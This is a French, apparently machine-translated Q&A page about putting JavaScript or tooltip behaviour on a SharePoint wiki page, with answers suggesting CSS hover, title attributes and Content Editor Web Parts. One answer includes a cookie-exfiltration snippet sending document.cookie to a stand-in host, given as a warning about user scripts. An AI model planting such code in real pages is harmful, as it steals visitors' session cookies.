Question

Comment puis-je, en tant qu'administrateur du wiki, entrer des scripts (Javascript) dans une page wiki Sharepoint?

J'aimerais entrer un titre et, en cliquant dessus, après avoir affiché une petite explication. J'ai l'habitude de faire cela avec JavaScript, une autre idée?

Était-ce utile?

La solution

En supposant que vous soyez l'administrateur du wiki et que vous souhaitiez l'afficher au passage de la souris au lieu de cliquer, vous n'avez pas du tout besoin de javascript - vous pouvez utiliser du CSS pur. Voici un exemple de styles et de balises:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

Avec certains styles plus complexes, votre boîte d’info-bulles peut avoir l’air aussi beau que vous le souhaitez.

Autres conseils

Si les auteurs du wiki sont avisés, il n'y a probablement aucun moyen de le faire.

Le problème avec le code JavaScript généré par l’utilisateur est qu’il ouvre la porte à toutes les formes de malfaiteurs pour saisir des données de ceux qui ne se méfient pas.

Supposons que le mal-moi publie un script sur un site Web public:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

Je vais maintenant recevoir les informations sur les cookies de chaque visiteur de la page, enregistrées dans un journal sur mon serveur. Et ce n’est que la pointe de l’iceberg.

Cela dépend complètement du logiciel Wiki spécifique que vous utilisez. La façon dont j'ai vu le travail est d'héberger un fichier js ailleurs et de l'inclure ensuite avec une balise script avec un attribut src.

S'ils ne le permettent pas, ils autorisent peut-être un IFRAME que vous pouvez définir sur une page contenant le script. En utilisant la deuxième technique, vous ne serez pas autorisé à accéder au DOM de la page hôte.

J'aime la réponse CSS. Lorsque vous pouvez utiliser CSS au lieu de Javascript, le balisage est plus simple.
Un autre élément à examiner est l'édition améliorée du wiki du Kit de la communauté pour SharePoint sur Codeplex. Vous pouvez télécharger le code source et ajouter vos propres fonctionnalités. Ou vous pouvez suggérer cela comme une nouvelle fonctionnalité du forum.

Cela ressemble à un risque de sécurité. Il semble possible que l'administrateur du wiki puisse installer des scripts, voir les scripts utilisateur de Wikipedia .

Si vous parlez d'utiliser Javascript dans une page Web de ce site, vous ne pouvez pas. Ou tout autre wiki public d'ailleurs - c'est un risque pour la sécurité.

Si vous souhaitez publier un exemple de code, cliquez sur le bouton "101010" situé au-dessus de la zone de texte.

Cela dépendra bien sûr du moteur de wiki auquel vous parlez. Comme le dit sblundy, il est fort probable que permettre l'utilisation gratuite de javascript sur la page du wiki constituerait un risque pour la sécurité.

Vous ne devriez pas pouvoir ajouter de code javascript pour un wiki public. Si vous l'hébergez vous-même, vous devez alors demander un système wiki spécifique pour que quelqu'un puisse vous aider à modifier les paramètres, si possible pour ce système.

Ajoutez title="text here" à n’importe quelle balise et celle-ci devrait afficher un texte lorsque vous la survolez.
Internet Explorer affiche le texte lorsque vous utilisez l'attribut alt="text here", bien que cela ne soit pas conforme aux normes.

J'ai déjà testé et vous pouvez ajouter <h2 title="some explanation here">headline</h2> à tout système basé sur wikimedia (celui utilisé par Wikipedia).

Utiliser un composant WebPart Editeur de contenu

Dans le ruban, sélectionnez Insert et choisissez Web Part. Dans le menu, accédez à Media and Content et choisissez Content Editor. Dans le menu déroulant de la Webpart nouvellement créée, choisissez Edit Web Part. Dans le menu de paramètres Webpart droit, développez Appearance et définissez Chrome Type sur None. Cliquez sur Click Here to Add Content dans le Webpart et localisez Edit HTML Source dans le ruban. Vous pouvez utiliser le langage HTML dans cette zone sans l'assainir.

Remarque: si vous envisagez d'ajouter des comportements à de nombreux éléments de page, vous pouvez télécharger des fichiers .js dans la bibliothèque de styles et inclure uniquement la balise <script src="..."> dans l'éditeur de contenu. Vous pouvez également envisager d’utiliser un modèle ou une mise en page personnalisée.

Source: https://cobwwweb.com/how-to -run-javascript-sur-sharepoint-pages

Licencié sous: CC-BY-SA avec attribution
Non affilié à StackOverflow
scroll top